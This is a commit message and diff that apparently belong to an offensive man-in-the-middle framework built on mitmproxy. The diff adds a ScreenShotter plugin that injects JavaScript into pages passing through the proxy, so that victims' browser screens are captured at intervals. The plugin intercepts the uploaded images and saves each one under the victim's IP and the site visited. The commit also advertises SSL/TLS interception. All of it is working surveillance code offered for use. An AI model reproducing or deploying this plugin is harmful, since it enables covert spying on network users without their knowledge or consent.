Initial commit for v1.0 using mitmproxy instead of twisted

Added a plugin system to Net-Creds so you can now add your own parsers,
api hook names might change between now and the offcial release
(will submit a PR to the original repo once completed)

The main MITM HTTP Proxy now uses mitmproxy which is a big deal, cuts
the code down by an insane amount, no more twisted! yay!

Basic plugin have been re-wrote for the new proxy engine

Since we are using mitmproxy we have out of the box support for SSL/TLS!

plugins/screenshotter.py

@@ -0,0 +1,35 @@
+import re
+from base64 import b64decode
+from urllib import unquote
+from datetime import datetime
+from plugins.plugin import Plugin
+from plugins.inject import Inject
+
+class ScreenShotter(Plugin):
+    name = 'ScreenShotter'
+    optname = 'screen'
+    desc = 'Uses HTML5 Canvas to render an accurate screenshot of a clients browser'
+    version = '0.2'
+
+    def initialize(self, context):
+        payload = open('plugins/resources/screenshot.js', 'r').read()
+        payload = re.sub('SECONDS_GO_HERE', str(context.interval*1000), payload)
+        context.js_payload = payload
+
+    def request(self, context, flow):
+        if flow.request.method == 'POST' and ('saveshot' in flow.request.path):
+            context.handle_post_output = True
+            img_file = '{}-{}-{}.png'.format(flow.client_conn.address.host, flow.request.host, datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s"))
+            try:
+                with open('./logs/' + img_file, 'wb') as img:
+                    img.write(b64decode(unquote(flow.request.content).decode('utf8').split(',')[1]))
+                    img.close()
+                context.log('[ScreenShotter] Saved screenshot to {}'.format(img_file))
+            except Exception as e:
+                context.log('[ScreenShotter] Error saving screenshot: {}'.format(e))
+
+    def response(self, context, flow):
+        Inject().response(context, flow)
+
+    def options(self, options):
+        options.add_argument("--interval", dest="interval", type=int, metavar="SECONDS", default=10, help="Interval at which screenshots will be taken (default 10 seconds)")